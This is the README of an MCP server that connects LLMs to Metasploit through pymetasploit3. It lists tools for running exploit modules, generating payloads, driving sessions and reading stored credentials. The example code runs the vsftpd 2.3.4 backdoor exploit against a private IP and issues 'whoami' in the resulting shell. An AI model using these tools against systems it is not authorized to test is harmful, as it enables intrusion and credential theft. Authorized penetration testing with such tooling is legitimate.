mcp-pymetasploit3

MCP server for Metasploit Framework via pymetasploit3. This server exposes all pymetasploit3 functionality as MCP tools, allowing LLMs to interact with Metasploit Framework through the msfrpc protocol.

Install

pip install mcp-pymetasploit3

MCP Server Configuration

{
  "mcpServers": {
    "mcp-pymetasploit3": {
      "command": "mcp-pymetasploit3",
      "env": {}
    }
  }
}

Usage

Starting Metasploit RPC Server

Before using the MCP server, you need to start the Metasploit RPC server:

Using msfrpcd:

msfrpcd -P yourpassword -p 55553 -n

Using msfconsole:

msfconsole -q
msf6 > load msgrpc Pass=yourpassword

MCP Tools

Once connected, the following tools are available:

Connection Management

• connect - Connect to Metasploit RPC server
• disconnect - Disconnect from RPC server
• get_client_info - Get current connection status

Module Management

• list_modules - List available modules by type
• use_module - Load a specific module
• get_module_info - Get module description and info
• get_module_options - Get all module options
• set_module_option - Set a module option
• get_missing_required - Get required options not set
• execute_module - Execute a module
• get_module_targets - Get available targets
• set_module_target - Set the target
• get_target_payloads - Get compatible payloads

Payload Generation

• generate_payload - Generate a payload

Session Management

• list_sessions - List all active sessions
• get_session_info - Get session information
• interact_session - Write/read from session
• session_run_command - Run command with output
• stop_session - Stop a session

Console Management

• create_console - Create a new console
• destroy_console - Destroy a console
• write_console - Write to console
• read_console - Read console output
• console_is_busy - Check if console is busy
• run_module_output - Execute module and get output

Core/Framework

• get_framework_version - Get framework version
• core_save - Save core state
• core_reload_modules - Reload modules
• core_set_global - Set global variable
• core_unset_global - Unset global variable

Database

• get_db_status - Get database status
• db_list_workspaces - List workspaces
• db_set_workspace - Set current workspace
• db_list_hosts - List hosts
• db_list_services - List services
• db_list_notes - List notes
• db_list_creds - List credentials
• db_list_vulns - List vulnerabilities

Jobs

• list_jobs - List running jobs
• stop_job - Stop a job
• get_job_info - Get job information

Plugins

• list_plugins - List loaded plugins
• load_plugin - Load a plugin
• unload_plugin - Unload a plugin

Search

• search_modules - Search for modules
• get_module_references - Get module references

Example

# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)

# List exploits
exploits = list_modules("exploit")

# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")

# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")

# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")

# List sessions
sessions = list_sessions()

# Interact with session
output = interact_session("1", "whoami")

# Disconnect
disconnect()

Development

git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"

# run tests
pytest

# format
ruff format src/ tests/

# lint
ruff check src/ tests/

# type check
mypy src/

mcp-name: io.github.daedalus/mcp-pymetasploit3